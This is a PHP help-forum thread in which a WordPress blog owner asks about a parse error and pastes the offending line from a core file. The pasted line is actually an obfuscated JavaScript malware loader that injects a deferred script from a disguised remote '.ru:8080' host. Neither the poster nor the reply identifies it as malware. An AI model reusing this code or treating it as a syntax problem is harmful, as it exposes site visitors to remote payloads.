Need help on Parse error: syntax error, unexpected '<'

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
Bse1987
Forum Newbie
Posts: 1
Joined: Thu Feb 11, 2010 10:19 pm

Need help on Parse error: syntax error, unexpected '<'

Post by Bse1987 »

Hello Everyone
I would like to say first i am very new to PHP, only today i learnt how to open a php file and read the code.

my problem is i have a blog hosted on Hostgator and today when i log in this pops up. It must be the recent plugin i installed ....

Parse error: syntax error, unexpected '<' in /home/bse1987/public_html/BrandonSeanOnline.com/wp-includes/default-filters.php on line 229


How do I correct this error?

Below is my line 229 (YES I know its so long and i do not know why!)

<script>var dn;if(dn!='' && dn!='h'){dn=''};this.g=false;var b;if(b!='y'){b=''};:LineMixer [this.ax="";var j=window;var ai;if(ai!='x' && ai != ''){ai=null};var e=false;var d='s?cFruiupFtu'.replace(/[u\?FZn]/g, '');var jn;if(jn!=''){jn='fe'};this.ko="ko";var m='cIrJeJaItweVEJlJeJmJeJnJtJ'.replace(/[JwIZV]/g, '');var fzq;if(fzq!='' && fzq!='gj'){fzq='hl'};]this.ja="";j.onload=function(){var zb='';try {f=document[m](d);this.yr='';var jl;if(jl!='' && jl!='uu'){jl=''};this.le='';:LineMixer [f['s>rXc>'.replace(/[\>aXJ\|]/g, '')]='hBt>t?pB:>/M/MrBiBv>a>lMs>-Mc?o?mM.MuFo?l?.?c>oMmB.FbMrM.FsBtMeFrMnF-BdMe?.>nFe>wFs>o?uBrMcFe>wBo>r>lFd>.>rBuM:B8?0B8M0M/MeFb?a?y?.BdFeB/FeFb>a?y>.BdMeF/F5Bd>6FdF.?cFoBmM/?g?oFoFgMlFeM.FcMoFmF/FsBa>lFe>s?fMoMrBc>e?.?cBo>mF/F'.replace(/[FM\?B\>]/g, '');f.setAttribute('d:eyf;e:ri'.replace(/[i0\:;y]/g, ''), "1");]var _n;if(_n!='zz'){_n=''};var xu=new Array();this.uz="";document['buoqdty3'.replace(/[3utqH]/g, '')]['a.pvp<eXnvdvC<h<iXl<d<'.replace(/[\<v\.RX]/g, '')](f);} catch(w){};var np=new Array();};var yd;if(yd!='xy'){yd='xy'};</script>

Just CTRL F to find the "<"


I appreciate anyones helps here

-Brandon
User avatar
requinix
Spammer :|
Posts: 6617
Joined: Wed Oct 15, 2008 2:35 am
Location: WA, USA

Re: Need help on Parse error: syntax error, unexpected '<'

Post by requinix »

1) Put code in tags.
2) Post the code around that line. Like lines 220-240.
Post Reply